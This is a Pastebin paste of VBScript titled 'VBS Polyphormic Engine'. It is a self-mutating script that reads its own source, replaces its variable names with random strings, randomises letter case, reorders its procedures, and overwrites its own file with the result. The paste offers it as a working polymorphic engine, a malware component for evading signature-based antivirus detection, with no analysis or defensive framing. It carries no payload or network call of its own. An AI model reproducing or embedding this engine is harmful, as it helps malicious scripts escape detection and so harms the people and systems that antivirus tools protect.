Advertisement
FlyFar

VBS Polyphormic Engine

Feb 17th, 2023
1,684
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 6.20 KB | Cybersecurity | 0 0
  1. dim sIntIteration1 , sIntIteration2
  2. dim sStrVariables
  3. dim sArVariables
  4. dim sVarFlag1 , sVarFlag2 , sVarFlag3
  5. dim sArResultPosition()
  6. dim sArCodeStructure()
  7. dim sStrArIProcedure
  8. dim sStrArOProcedure
  9. dim sIntPointeurOProcedure, sIntPointeurIProcedure
  10. dim sIntVariableLength
  11. dim sObjFSO,sObjScriptPath,sObjScript,sObjRegExp
  12. dim sColResultat
  13. dim sIntResultat
  14. dim sStrCode
  15. dim sIntPositionPointeurCaractere
  16. dim sStrLigne2Code
  17. dim sIntPositionVBCRLF
  18.  
  19. call initialiser()
  20. call rechercher_declaration("dim","(\( *\d* *\))|\(|\)| ")
  21. call rechercher_declaration("const","= *(\d*)| *")
  22. call rechercher_procedure("function")
  23. call rechercher_procedure("sub")
  24. call changer_position()
  25. call changer_variable()
  26. call changer_casse()
  27. call appliquer()
  28.  
  29. sub initialiser()
  30. redim sArCodeStructure(1,0)
  31. set sObjRegExp = new regexp
  32. sObjRegExp.ignorecase = true
  33. sObjRegExp.global = true
  34. set sObjFSO = createobject("scripting.filesystemobject")
  35. set sObjScriptPath = sObjFSO.getfile(wscript.scriptfullname)
  36. set sObjScript = sObjFSO.opentextfile(sObjScriptPath, 1)
  37. sStrCode = sObjScript.readall
  38. sObjScript.close
  39. sStrCode = remplacer(sStrCode,"\n\r","")
  40. end sub
  41.  
  42. sub appliquer()
  43. set sObjScript = sObjFSO.opentextfile(sObjScriptPath, 2)
  44. sObjScript.write sStrCode
  45. sObjScript.close
  46. end sub
  47.  
  48. sub changer_variable()
  49. sStrVariables = remplacer("," & sStrVariables & ",",",+",",")
  50. sArVariables = split(sStrVariables,",")
  51. for sIntIteration1 = 1 to ubound(sArVariables)-1
  52.     sStrCode = remplacer(sStrCode,"\b" & sArVariables(sIntIteration1) & "\b",creer_variable & sIntIteration1)
  53. next
  54. end sub
  55.  
  56. sub changer_casse()
  57. sVarFlag3 = empty
  58. for sIntIteration1 = 1 to len(sStrCode)
  59.     sVarFlag1 = mid(sStrCode, sIntIteration1, 1)
  60.     if (asc(sVarFlag1) = 92) then
  61.         sVarFlag2 = true
  62.     else
  63.         if sVarFlag2 then
  64.             sVarFlag2 = false  
  65.         else
  66.             randomize
  67.             if cint(rnd * 1) = 1 then
  68.                 sVarFlag1 = lcase(sVarFlag1)
  69.             else
  70.                 sVarFlag1 = ucase(sVarFlag1)
  71.             end if
  72.         end if
  73.     end if
  74. sVarFlag3 = sVarFlag3 & sVarFlag1
  75. next
  76. sStrCode = sVarFlag3
  77. end sub
  78.  
  79. function remplacer(pStrStr,pStrMotif2Recherche,pStrMotif2Remplacement)
  80. sObjRegExp.pattern = pStrMotif2Recherche
  81. remplacer = sObjRegExp.replace(pStrStr,pStrMotif2Remplacement)
  82. end function
  83.  
  84. sub rechercher_procedure(procedure_type)
  85. call get_all_position_after_str(procedure_type)
  86. for sIntIteration1=1 to ubound(sArResultPosition)
  87.     redim preserve sArCodeStructure(1,ubound(sArCodeStructure,2) + 1)
  88.     sIntPositionPointeurCaractere = sArResultPosition(sIntIteration1)
  89.     sArCodeStructure(1,ubound(sArCodeStructure,2)) = sIntPositionPointeurCaractere - len(procedure_type)
  90.     sIntPositionVBCRLF = instr(sIntPositionPointeurCaractere,sStrCode,vbcr,1)
  91.     sStrLigne2Code = mid(sStrCode,sIntPositionPointeurCaractere, sIntPositionVBCRLF - sIntPositionPointeurCaractere)
  92.     sStrLigne2Code = remplacer( sStrLigne2Code , "(\( *\d* *\))|\(|\)| " , "," )
  93.     sStrVariables = sStrVariables & "," & sStrLigne2Code
  94.     sIntIteration1 = sIntIteration1+1
  95.     sArCodeStructure(0,ubound(sArCodeStructure,2)) =  sArResultPosition(sIntIteration1) + 4
  96. next
  97. end sub
  98.  
  99. function creer_variable()
  100. randomize
  101. sIntVariableLength = int((20 * rnd) + 10)
  102. creer_variable = chr(int((25 * rnd) + 97))
  103. for sIntIteration2 = 1 to sIntVariableLength
  104.     randomize
  105.     if cint(rnd * 1) = 1 then
  106.         creer_variable = creer_variable & chr(int((25 * rnd) + 97))
  107.     else
  108.         creer_variable = creer_variable & chr(int((10 * rnd) + 48))
  109.     end if
  110. next
  111. end function
  112.  
  113. sub rechercher_declaration(pStrType2Declaration,pStrMotif2Recherche)
  114. call get_all_position_after_str(pStrType2Declaration)
  115. for sIntIteration1=1 to ubound(sArResultPosition)
  116.     sIntPositionPointeurCaractere = sArResultPosition(sIntIteration1)
  117.     sIntPositionVBCRLF = instr(sIntPositionPointeurCaractere,sStrCode,vbcr,1)
  118.     sStrLigne2Code = mid(sStrCode,sIntPositionPointeurCaractere, sIntPositionVBCRLF - sIntPositionPointeurCaractere)
  119.     sStrLigne2Code = remplacer(sStrLigne2Code,pStrMotif2Recherche,",")
  120.     sStrVariables = sStrVariables & "," & sStrLigne2Code
  121. next
  122. end sub
  123.  
  124. sub get_all_position_after_str(pStrSrch)
  125. redim sArResultPosition(0)
  126. sObjRegExp.Pattern ="(\b" & pStrSrch & " +\w)|(end " & pStrSrch & ")"
  127. Set sColResultat = sObjRegExp.Execute(sStrCode)
  128. For each sIntResultat in sColResultat
  129.     redim preserve sArResultPosition((ubound(sArResultPosition))+1)
  130.     sArResultPosition(ubound(sArResultPosition)) = sIntResultat.FirstIndex + len(pStrSrch) + 1
  131. next
  132. end sub
  133.  
  134. sub changer_position()
  135. redim sStrArIProcedure(ubound(sArCodeStructure,2)-1,1)
  136. for  sIntIteration1 = 0 to ubound(sStrArIProcedure,1)
  137.     sStrArIProcedure(sIntIteration1,0) = mid(sStrCode,sArCodeStructure(1,sIntIteration1+1),sArCodeStructure(0,sIntIteration1+1)-sArCodeStructure(1,sIntIteration1+1))
  138.     randomize
  139.     sStrArIProcedure(sIntIteration1,1) = rnd
  140. next
  141. for sIntIteration1 = 0 to ubound(sStrArIProcedure,1)
  142.     for sIntIteration2 = sIntIteration1  to ubound(sStrArIProcedure,1)
  143.         if (sStrArIProcedure(sIntIteration2,1) < sStrArIProcedure(sIntIteration1,1)) then
  144.             sVarFlag1 = sStrArIProcedure(sIntIteration2,0)
  145.             sVarFlag2 = sStrArIProcedure(sIntIteration2,1)
  146.             sStrArIProcedure(sIntIteration2,0) = sStrArIProcedure(sIntIteration1,0)
  147.             sStrArIProcedure(sIntIteration2,1) = sStrArIProcedure(sIntIteration1,1)
  148.             sStrArIProcedure(sIntIteration1,0) = sVarFlag1
  149.             sStrArIProcedure(sIntIteration1,1) = sVarFlag2
  150.         end if
  151.     next
  152. next
  153. sStrArOProcedure=sStrCode
  154. for sIntIteration1 = 0  to ubound(sStrArIProcedure,1)
  155.     sStrArOProcedure = replace(sStrArOProcedure,sStrArIProcedure(sIntIteration1,0),"")
  156. next
  157. sStrArOProcedure = split(sStrArOProcedure,vbcrlf)
  158. sIntPointeurOProcedure = -1
  159. sIntPointeurIProcedure = -1
  160. sVarFlag1 = empty
  161. while ((sIntPointeurOProcedure <> ubound(sStrArOProcedure)) or (sIntPointeurIProcedure <>  ubound(sStrArIProcedure,1)))
  162.     randomize
  163.     if (cint(rnd * 1) = 1) then
  164.         if (sIntPointeurOProcedure <> ubound(sStrArOProcedure)) then
  165.             sIntPointeurOProcedure = sIntPointeurOProcedure +  1
  166.             sVarFlag1 = sVarFlag1 & sStrArOProcedure(sIntPointeurOProcedure) & vbcrlf
  167.         end if
  168.     else
  169.         if (sIntPointeurIProcedure <> ubound(sStrArIProcedure)) then
  170.             sIntPointeurIProcedure = sIntPointeurIProcedure +  1
  171.             sVarFlag1 = sVarFlag1 & sStrArIProcedure(sIntPointeurIProcedure,0) & vbcrlf
  172.         end if
  173.     end if
  174. wend
  175. sStrCode = sVarFlag1
  176. end sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement